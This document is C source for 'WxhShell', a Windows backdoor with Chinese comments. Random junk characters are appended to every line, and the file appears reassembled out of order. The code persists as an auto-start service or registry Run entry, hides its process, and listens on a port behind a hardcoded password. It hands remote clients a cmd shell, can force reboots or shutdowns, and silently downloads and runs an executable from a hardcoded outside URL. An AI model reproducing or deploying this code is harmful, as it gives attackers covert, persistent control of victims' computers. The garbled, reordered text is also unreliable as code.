    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2[w9#6ly  
    if(Boot(SHUTDOWN)) H [+'>Id:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @;EQ{d  
    else { ;8H&FsR  
    closesocket(wsh); v=^^Mr"Z^  
    ExitThread(0); VmQ^F| {  
    } wo9R :kQ  
    break; 3r%v@8)!b  
    } 9No6\{[M  
  // 获取shell n[/D>Pi  
  case 's': { Pr>$m{ Z  
    CmdShell(wsh); m#h`iW  
    closesocket(wsh); $I5|rB/4?  
    ExitThread(0); 9ERdjS  
    break; 0+0 Y$;<  
  } [CHN3&l-5S  
  // 退出 ygTfQtN  
  case 'x': { /8Lb_QH{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xEG:KSH  
    CloseIt(wsh); py$Gy-I~[  
    break; GUQ3XF\  
    } ]`-o\,lq  
  // 离开 jzi%[c<G  
  case 'q': { A7QT4h&6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F]OWqUV  
    closesocket(wsh); `@ Z$+  
    WSACleanup(); }r04*P(  
    exit(1); R1*&rjB  
    break; 5!Er ;e  
        } Fmn_fW6  
  } qLBQ!>lR  
  } 65B&>`H~  
PR;Bxy  
  // 提示信息 ''2:ZXX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6@Q; LV+  
} G>dXK,f<B0  
  } m<Gd 6V5  
s#~VN;-I  
  return; &IQNsJL!e  
} r0z8?  
+)9=bB  
// shell模块句柄 8hV4l'Pa72  
int CmdShell(SOCKET sock) :|l0x a  
{ 1xxTI{'g[  
STARTUPINFO si; BDN}`F[F  
ZeroMemory(&si,sizeof(si)); p7},ymQ|YQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7\dt<VV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Sn97DCdk  
PROCESS_INFORMATION ProcessInfo; NX8w(~r,:  
char cmdline[]="cmd"; Xe}I;sKrB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); = CXX.%N  
  return 0; 0>Kgz!I  
} ~Q- /O~  
i&HU7mP/  
// 自身启动模式 W__$ i<1  
int StartFromService(void) UXa%$gwFw  
{ B_!S\?}$  
typedef struct Xk^<}Ep)c  
{ "97sH_ ,  
  DWORD ExitStatus; $hM9{  
  DWORD PebBaseAddress; Kd}%%L  
  DWORD AffinityMask; .Sm 8t$  
  DWORD BasePriority; RaiYq#X/  
  ULONG UniqueProcessId; {s@&3i?ZiC  
  ULONG InheritedFromUniqueProcessId;  LWo)x  
}   PROCESS_BASIC_INFORMATION; JpQV7}$  
lfoPFJ Z  
PROCNTQSIP NtQueryInformationProcess; 8yr-X!eF  
tjZS:@3 Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lz).=N}m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %AMF6l[  
_=w=!U&W  
  HANDLE             hProcess; CS^|="Zs  
  PROCESS_BASIC_INFORMATION pbi; <95*z @  
+C$wkx]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZU:c[`  
  if(NULL == hInst ) return 0; V" 5rIk  
FN0<iL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *XXa 9z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k%RQf0`T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WAr6Dv,8  
o hPXwp?]  
  if (!NtQueryInformationProcess) return 0; -P]onD  
O|;|7fCB\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6%VRQ#g!  
  if(!hProcess) return 0; ]xJ2;{JWsO  
J@N q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K>+c2;t;  
En+`ZcA\z  
  CloseHandle(hProcess); }g.)%Bw!  
~\R+p~>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3k+46Wp  
if(hProcess==NULL) return 0; Mc|UD*Z  
LZPLz@=&]  
HMODULE hMod; c5Hm94, p  
char procName[255]; c"'JMq  
unsigned long cbNeeded; $+ \JT/eG9  
;;17 #T2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w3Qil[rg  
n\scOM)3  
  CloseHandle(hProcess); X{5(i3?S  
:EC[YAK+D  
if(strstr(procName,"services")) return 1; // 以服务启动 ^@maF<Jb  
p6{8t}  
  return 0; // 注册表启动 jivGkIj!8  
} O ~bzTn  
v3/G.B@=  
// 主模块 H+5N+AKb@  
int StartWxhshell(LPSTR lpCmdLine) ~EhM"go  
{ r^"pLzAx  
  SOCKET wsl; L6pw'1'  
BOOL val=TRUE; |P=-m-W  
  int port=0; C'z}jM`g  
  struct sockaddr_in door; gDsb~>rb|  
/9u12R*<  
  if(wscfg.ws_autoins) Install(); \g;-q9g;O  
[M.!7+$o  
port=atoi(lpCmdLine); _%aJ/Y0Cy  
P_c9v/  
if(port<=0) port=wscfg.ws_port; .ktyA+r8v  
SnW>`  
  WSADATA data; _$qH\>se  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LT '2446  
?F%,d{^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2G`tS=Un  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~LN {5zg  
  door.sin_family = AF_INET; AtlUxFX0S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Rp"" &0  
  door.sin_port = htons(port); |NWo.j>4-  
M,9f}V)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QK/~lN  
closesocket(wsl); 1O;q|p'9  
return 1; _"c?[n  
} dX~$#-Ad86  
+dSO?Y]  
  if(listen(wsl,2) == INVALID_SOCKET) { sq'bo8r  
closesocket(wsl); w97%5[-T  
return 1; 2~*.X^dR  
} S_56!  
  Wxhshell(wsl); B=+Py%  
  WSACleanup(); _ye74$#  
NXDuO_#  
return 0; zH+a*R  
3At%TA:  
} %FO# j6  
Tf?|*P  
// 以NT服务方式启动 3It9|Y"6[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'e06QMp@  
{ C.;H?So(  
DWORD   status = 0; p{4nWeH?B  
  DWORD   specificError = 0xfffffff; p!3!&{  
Vq<\ix Ri  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OB5`a,5dI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sDnXgCcS!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a@V`EEZ  
  serviceStatus.dwWin32ExitCode     = 0; W~FM^xR?p  
  serviceStatus.dwServiceSpecificExitCode = 0; z#elwL6  
  serviceStatus.dwCheckPoint       = 0; i"o %Gc  
  serviceStatus.dwWaitHint       = 0; &ywU^hBh  
=5m~rJ< {  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z]1jg>")  
  if (hServiceStatusHandle==0) return; hUGP3ExC*  
}&O}t{gS*  
status = GetLastError(); S4FR=QuVQC  
  if (status!=NO_ERROR) W #kOcw  
{ R<n'v.~"A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;4ETqi9  
    serviceStatus.dwCheckPoint       = 0; m<uBRI*I  
    serviceStatus.dwWaitHint       = 0; "WE*ED  
    serviceStatus.dwWin32ExitCode     = status; fTg^~XmJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; [ GqQ6\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iSg^np  
    return; ^9*kZV<K  
  } Pwg?a  
0B?t:XU,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; TmIw?#q^  
  serviceStatus.dwCheckPoint       = 0; L1J~D?q  
  serviceStatus.dwWaitHint       = 0; 48Z0aA~+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CDU$Gi  
} %qqX-SF0C  
.~t.B!rVSB  
// 处理NT服务事件,比如:启动、停止 {gwJ>]z"e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OkaN VTB  
{ Gm2q`ki  
switch(fdwControl) w[X/|O  
{ qmx4hs8sh  
case SERVICE_CONTROL_STOP: s/0S]P]}f  
  serviceStatus.dwWin32ExitCode = 0; DYFfq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sV`!4 u7%}  
  serviceStatus.dwCheckPoint   = 0; S)$iHBx{  
  serviceStatus.dwWaitHint     = 0; E\Et,l#|LY  
  { (6#, $Ze   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YZyV   
  } -\V!f6Q  
  return; :sL?jGk\  
case SERVICE_CONTROL_PAUSE: 4V9S~^v|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dF<GuS;l5  
  break; 6./3w&D;  
case SERVICE_CONTROL_CONTINUE: qzt.k^'-^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $vK(Qm  
  break; K~ob]I<GiB  
case SERVICE_CONTROL_INTERROGATE: LW '3m5  
  break; nWz7$O  
}; gJC~$/2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vQ",rP%  
} ?6T\uzL +%  
P/XCaj3a[  
// 标准应用程序主函数 rZSD)I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'NYW`,  
{ 9H#;i]t&  
+l)[A{  
// 获取操作系统版本 a*(,ydF|L  
OsIsNt=GetOsVer(); {GP#/5$=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *'ffMnSZ  
1@W*fVn  
  // 从命令行安装 DP5}q"l  
  if(strpbrk(lpCmdLine,"iI")) Install(); qb 1JE[2F  
r&_bk Y%  
  // 下载执行文件 f~?4  
if(wscfg.ws_downexe) { 0 F-db  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xjK@Q1MJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;:A/WU.^  
} thK4@C|X4  
%("WoBPH`  
if(!OsIsNt) { * ,#SwZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 iwx*mC{|A  
HideProc(); rMEM$1vPU  
StartWxhshell(lpCmdLine); 6h9Hf$'  
} wo5fGQJ  
else "5@\"L  
  if(StartFromService()) g=e~YM85  
  // 以服务方式启动 (d*~Qpi{7  
  StartServiceCtrlDispatcher(DispatchTable); 1 Sz v4  
else MuF{STE>->  
  // 普通方式启动 o?/fObV@(  
  StartWxhshell(lpCmdLine); u[6aSqwC |  
mWTV)z57  
return 0; *]*0uo  
} GQ6~Si2  
'.*`PN5mDq  
`]4tJJy$  
.f9&.H#  
=========================================== b8&z~'ieR  
kE854Ej  
Bk@&k}0  
\[<8AV"E-'  
h3j`X'  
( "wmc"qH  
" r#NR3_@9  
uJU;C.LX  
#include <stdio.h> D2'J (  
#include <string.h> 6+/BYN!&4  
#include <windows.h> YP73  
#include <winsock2.h> u-R;rf5%k  
#include <winsvc.h> wRu\9H}  
#include <urlmon.h> eE" *c>I  
M3s:B& /  
#pragma comment (lib, "Ws2_32.lib") wit  
#pragma comment (lib, "urlmon.lib") LF ;gdF%@  
!SThK8j$7  
#define MAX_USER   100 // 最大客户端连接数 MCTTm^8O  
#define BUF_SOCK   200 // sock buffer }*c[} VLN  
#define KEY_BUFF   255 // 输入 buffer `=E4J2"  
H]( TSt<Q"  
#define REBOOT     0   // 重启 ~j[mME}  
#define SHUTDOWN   1   // 关机 q3ebps9^  
QeQxz1  
#define DEF_PORT   5000 // 监听端口 GRAPv|u9[  
Z9 zsvg  
#define REG_LEN     16   // 注册表键长度 wUH:l  
#define SVC_LEN     80   // NT服务名长度 pt%Y1<9Eh?  
QJ,~K&?  
// 从dll定义API qv8B$}FU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); * & : J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nQ;M@k&9eV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +oiuulA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6t'vzcQs  
&"=<w  
// wxhshell配置信息 ^t P|8k  
struct WSCFG { */j[n$K>~`  
  int ws_port;         // 监听端口 JPq' C$  
  char ws_passstr[REG_LEN]; // 口令 |M|>/U 8  
  int ws_autoins;       // 安装标记, 1=yes 0=no L DdgI  
  char ws_regname[REG_LEN]; // 注册表键名 m'U>=<!D  
  char ws_svcname[REG_LEN]; // 服务名 m 3Do+!M[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v dPb-z4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4K$_d,4`U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i.''\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yK w.69.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e84O 6K6o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 90">l^HX=  
( #rhD}  
}; 5$c*r$t_RK  
AizLzR$OG  
// default Wxhshell configuration JxQGL{) >  
struct WSCFG wscfg={DEF_PORT, )b-KF}]d  
    "xuhuanlingzhe", ^TAf+C^Ry  
    1, hzrS_v  
    "Wxhshell", [q~3$mjQ  
    "Wxhshell", !gj_9"<  
            "WxhShell Service", .<Jq8J  
    "Wrsky Windows CmdShell Service", p;)@R$*  
    "Please Input Your Password: ", 66HxwY3a  
  1, ]Mj N)%hT  
  "http://www.wrsky.com/wxhshell.exe", @O HsM?nW  
  "Wxhshell.exe" cfL:#IM  
    }; J:0`*7  
#X*=oG  
// 消息定义模块 C0;:")6~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =]P|!$!}0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =6[R,{|C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <Gz*2i  
char *msg_ws_ext="\n\rExit."; cL:hjr"  
char *msg_ws_end="\n\rQuit."; DhT8Kh{  
char *msg_ws_boot="\n\rReboot..."; `,Y/!(:;  
char *msg_ws_poff="\n\rShutdown..."; @"0n8y  
char *msg_ws_down="\n\rSave to "; [[KIuW~ot  
% r0AhWv  
char *msg_ws_err="\n\rErr!"; v.Xmrry  
char *msg_ws_ok="\n\rOK!"; D>K=D"  
i 8:^1rHp)  
char ExeFile[MAX_PATH]; Zmy:Etqi  
int nUser = 0; RNb"O{3  
HANDLE handles[MAX_USER]; @O)1Hnm  
int OsIsNt; W" 1=K] B  
U9h@1:  
SERVICE_STATUS       serviceStatus; k9iB-=X?4s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VP:9&?>G  
!}L cJ  
// 函数声明 e%KCcU  
int Install(void); ![{0Yw D  
int Uninstall(void); OLyl.#J  
int DownloadFile(char *sURL, SOCKET wsh); F'^?s= QX  
int Boot(int flag); M]A!jWtE  
void HideProc(void); #>O>=#Q  
int GetOsVer(void); H]Vo XJ\*  
int Wxhshell(SOCKET wsl); T&s}~S=m  
void TalkWithClient(void *cs); *[b22a4H(  
int CmdShell(SOCKET sock); {[[/*1r|  
int StartFromService(void); w*B4>FYg  
int StartWxhshell(LPSTR lpCmdLine); ?eri6D,86w  
YB"=eld  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yo_;j@BGR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (GbZt{.  
HHg[6aw  
// 数据结构和表定义 &E`=pe/e  
SERVICE_TABLE_ENTRY DispatchTable[] = z*G(AcS)  
{ ZA'Qw2fF0  
{wscfg.ws_svcname, NTServiceMain}, Jn)DZv8?  
{NULL, NULL} MUvgmJsN  
}; d^^EfWU  
's 'H&sa  
// 自我安装 {V5eHn9/Q'  
int Install(void) pEX|zee  
{ i=X B0-  
  char svExeFile[MAX_PATH]; }<g- 0&GLm  
  HKEY key; |oV_7%mlu  
  strcpy(svExeFile,ExeFile); }+i~JK  
(5Sv$Xt  
// 如果是win9x系统,修改注册表设为自启动 6'qu[ ~ }Q  
if(!OsIsNt) { 4 -Cca  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]j57Gk%z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uZ8^"  W  
  RegCloseKey(key); Kzrt%DA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c,_??8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .fD%*-  
  RegCloseKey(key); JFh_3r'  
  return 0; j xTYW)E   
    } iBaz1pDc  
  } d0D*S?#8,C  
} ;eT+Ly|{  
else { J0,;F9<C#X  
U['|t<^uf  
// 如果是NT以上系统,安装为系统服务 $W0O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l&oc/$&|[  
if (schSCManager!=0) t$-!1jq  
{ vmIt!x  
  SC_HANDLE schService = CreateService i4H,Ggb  
  ( > ,;<Bz|X  
  schSCManager, !FHm.E_>  
  wscfg.ws_svcname, u @#fOu  
  wscfg.ws_svcdisp, 6"<q{K  
  SERVICE_ALL_ACCESS, aYws{Vii  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T1WH  
  SERVICE_AUTO_START, 5Sz}gP('  
  SERVICE_ERROR_NORMAL, z` (">J  
  svExeFile, oJe`]_XZ  
  NULL, aKC,{}f$m  
  NULL, VQl(5\6O  
  NULL, /[+%<5s  
  NULL, osZ] R  
  NULL d34BJ<  
  ); ?3a:ntX h  
  if (schService!=0) <P.'r,"[  
  { (Fs{~4T  
  CloseServiceHandle(schService); TeNPuY~WP  
  CloseServiceHandle(schSCManager); M3Oqto<8"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7mtX/w9  
  strcat(svExeFile,wscfg.ws_svcname); "?ON0u9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \@m^w"Ij  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Sjo7NR^#e  
  RegCloseKey(key); ~Aw.=Yi=  
  return 0; 52t6_!y+V  
    } t4Pi <m:7  
  } 2B"&WKk  
  CloseServiceHandle(schSCManager); ^]MLEr!S  
} r$W%d[pB  
} qylI/,y{  
}56WAP}Z 4  
return 1; Fs&r ^ [/b  
} b)@rp  
A\<W x/  
// 自我卸载 IPf>9#L  
int Uninstall(void) + f,Kt9Cy  
{ `G`y A%  
  HKEY key; 1P?|.W_^1  
a'(B}B=h  
if(!OsIsNt) { iF Zqoz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0+F--E4  
  RegDeleteValue(key,wscfg.ws_regname); `IT]ZAem`/  
  RegCloseKey(key); 9;NXzO27  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Up5|tx7  
  RegDeleteValue(key,wscfg.ws_regname); lBGYZ--  
  RegCloseKey(key); 7 j6<  
  return 0; #mkf2Z=t-  
  } Bk[C=<X  
} ih-J{1  
} H$.K   
else { " =6kH,  
wf`A&P5tF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9BAvE\o0  
if (schSCManager!=0) 54=*vokX_  
{ inh J|pe"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %OOkPda  
  if (schService!=0) N'i)s{'  
  { 51Vqbtj^  
  if(DeleteService(schService)!=0) { m`}mbm^  
  CloseServiceHandle(schService); b!bg sd  
  CloseServiceHandle(schSCManager); :$0yp`k  
  return 0; hZlHY9[t?  
  } 5?Pf#kq  
  CloseServiceHandle(schService); a~ dgf:e`  
  } .f"1(J8  
  CloseServiceHandle(schSCManager); RLZfXXMn  
} -K3d u&j  
} Jy\0y[f*  
6%}`!_N<Mc  
return 1; ) J.xQ}g  
} 2vh }:A_  
(cyvE}g  
// 从指定url下载文件 Q-rG~O9-  
int DownloadFile(char *sURL, SOCKET wsh) Bal e_s^  
{ (T%?@'\  
  HRESULT hr; ZZ  Hjv  
char seps[]= "/"; 7F2 RH 8)  
char *token; 9!FU,4 X  
char *file; eh> |m> JY  
char myURL[MAX_PATH]; TgaxZW  
char myFILE[MAX_PATH]; ptrwZ8'  
|'z24 :8  
strcpy(myURL,sURL); 1y\bJ  
  token=strtok(myURL,seps); J]#rh5um  
  while(token!=NULL) 0KTO )K  
  { rZ|p{ym  
    file=token; @6|<c  
  token=strtok(NULL,seps); n}_}#(a  
  } K1^7v}P  
^ghYi|kQq  
GetCurrentDirectory(MAX_PATH,myFILE); wN58uV '  
strcat(myFILE, "\\"); #:+F  
strcat(myFILE, file); df$.gP  
  send(wsh,myFILE,strlen(myFILE),0); sOlnc6  
send(wsh,"...",3,0); DH%PkGn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T - _))  
  if(hr==S_OK) LWm1j:0  
return 0; ]XbMqHGS  
else 4>i\r  
return 1; z=) m6\  
ZnRT$ l O  
} ;Mo_B9  
|=*)a2  
// 系统电源模块 YI ?P@y  
int Boot(int flag) @fYVlHT%E  
{ NIVR;gm  
  HANDLE hToken; Lc5zu7ncg  
  TOKEN_PRIVILEGES tkp; xYCJO(&  
JPAjOcmU/  
  if(OsIsNt) { ]t~.?)Ad+2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Bh' fkW3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y|Q(JX  
    tkp.PrivilegeCount = 1; RSh_~qMX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QMz=e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /0H}-i  
if(flag==REBOOT) { j :B/ FL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <O 0Q]`i  
  return 0; wR@>U.XT@  
} (87| :{  
else { l;0([_>*j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PXYLL X\3  
  return 0; yy=hCjQ)  
} 'k[qx}  
  } H^*AaA9-   
  else { QF/_?Tm4  
if(flag==REBOOT) { q+\<%$:u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t_jn-Idcf  
  return 0; e O\72? K  
} wDh]vH[  
else { 0>Snps3*Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &>,]YrU  
  return 0; H5x7)1Ir|  
} 1*u]v{JJ(  
} XLt/$Caf  
Q}@t'  
return 1; {\D &*  
} ]}! @'+=  
W+#Q>^Q>  
// win9x进程隐藏模块 XqmB%g(  
void HideProc(void) 7j\^h2  
{ 8xO   
PiKP.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1OM Xg=Y  
  if ( hKernel != NULL ) NS z }  
  { ; zJb("n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *uyP+f2O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >;I8w(  
    FreeLibrary(hKernel); J;>epM ;*  
  } UmWXv#q\l  
7x6 M]1F  
return; B>L7UQ6_[  
} Mqd'XU0L  
pNb2t/8%%  
// 获取操作系统版本 XG.[C>  
int GetOsVer(void) 89LD:+p/  
{ tdH[e0x B  
  OSVERSIONINFO winfo; '|SO7}`;Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c9-$^yno  
  GetVersionEx(&winfo); L5FOlzn  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Qjfgxy]  
  return 1; skcyLIb  
  else ,~d0R4)  
  return 0; GM%OO)dO}  
} ki'$P.v{$w  
d^}p#7mB\  
// 客户端句柄模块 juOStTq<  
int Wxhshell(SOCKET wsl) $z%(He  
{ %1Q:{m  
  SOCKET wsh; z,TH}s6  
  struct sockaddr_in client; blgA`)GI  
  DWORD myID; X,v.1#[  
dxs5woP  
  while(nUser<MAX_USER) lr>NG,N  
{ @Ul3J )=m  
  int nSize=sizeof(client); t<Acq07  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S1|u@d'  
  if(wsh==INVALID_SOCKET) return 1; 1jg* DQ7L  
j9h/`Bn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MIZdk'.U  
if(handles[nUser]==0) ))=6g@(  
  closesocket(wsh); k77IXT_7u  
else {nKw<F2  
  nUser++; z}MxMx c4h  
  } `"=>lu2H   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Lm4`O %  
n2mO-ZXud  
  return 0; O-V|=t  
} qk<jvha  
zTa5 N  
// 关闭 socket 9)oi_U.  
void CloseIt(SOCKET wsh) +F)-n2Bi  
{ OE@[a  
closesocket(wsh); L/ 7AGR|;C  
nUser--; b{<?E };%  
ExitThread(0); ?62Im^1/  
} c~vhkRA  
Y$ jX  
// 客户端请求句柄 o`iA&  
void TalkWithClient(void *cs) G<7M;vRvP  
{ ^bv^&V&IB  
A08kwYxiW  
  SOCKET wsh=(SOCKET)cs; fxd+0R;f  
  char pwd[SVC_LEN]; $P{`-Y }a  
  char cmd[KEY_BUFF]; -0^]:  
char chr[1]; tDRR3=9pX  
int i,j; v[Q)L!J1  
NT+.E[J6  
  while (nUser < MAX_USER) { t5+p]7  
01'>[h#_n  
if(wscfg.ws_passstr) { $9`#p/V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~q3O,bb{   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9O 'j+?(`@  
  //ZeroMemory(pwd,KEY_BUFF); y > =Y  
      i=0; e#*3X4<\K  
  while(i<SVC_LEN) { O^cC+@l!4  
wOf8\s1  
  // 设置超时  |,$&jSe  
  fd_set FdRead; ?h[HC"V/2  
  struct timeval TimeOut; n[Q(q[ULV  
  FD_ZERO(&FdRead); [OCjYC`  
  FD_SET(wsh,&FdRead); 5mZ2CDV  
  TimeOut.tv_sec=8; E:K4k <  
  TimeOut.tv_usec=0; PZ|I3z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |*c1S -#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yP{ 52%|+  
pWxk^qhe/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Uoe{,4T  
  pwd=chr[0]; 94w)Yln  
  if(chr[0]==0xd || chr[0]==0xa) { A`uHZCwJ5  
  pwd=0; RB %+|@c  
  break; i M !`4  
  } \#,2#BmO"E  
  i++; S($/Ov  
    } W_}j~[&  
_ dAyw  
  // 如果是非法用户,关闭 socket `PbY(6CF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ." xP {  
} KVOV<uDCj  
gHPJiiCv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s6~;)(r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W/,bz",v3  
vQ}ZfP  
while(1) { J!l/.:`6  
*V kaFQZ$,  
  ZeroMemory(cmd,KEY_BUFF); 4NID:<  
486\a  
      // 自动支持客户端 telnet标准   &?R/6"J  
  j=0; dM;\)jm  
  while(j<KEY_BUFF) { wnC} TWxX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;d}>8w&tfy  
  cmd[j]=chr[0]; 1gV?}'jq  
  if(chr[0]==0xa || chr[0]==0xd) { @4y?XL(n  
  cmd[j]=0; {rcN_N%  
  break; RFRXOyGz$  
  } R>0[w$  
  j++; u:APGR^  
    } #//xOL3J  
:k_&Zd j,B  
  // 下载文件 nod&^%O"  
  if(strstr(cmd,"http://")) { 5@xR`g-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "d)Yq Q  
  if(DownloadFile(cmd,wsh)) ![%wM Pp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (e'8>Pv  
  else "|X'qKS(H{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )G)6D"5,+G  
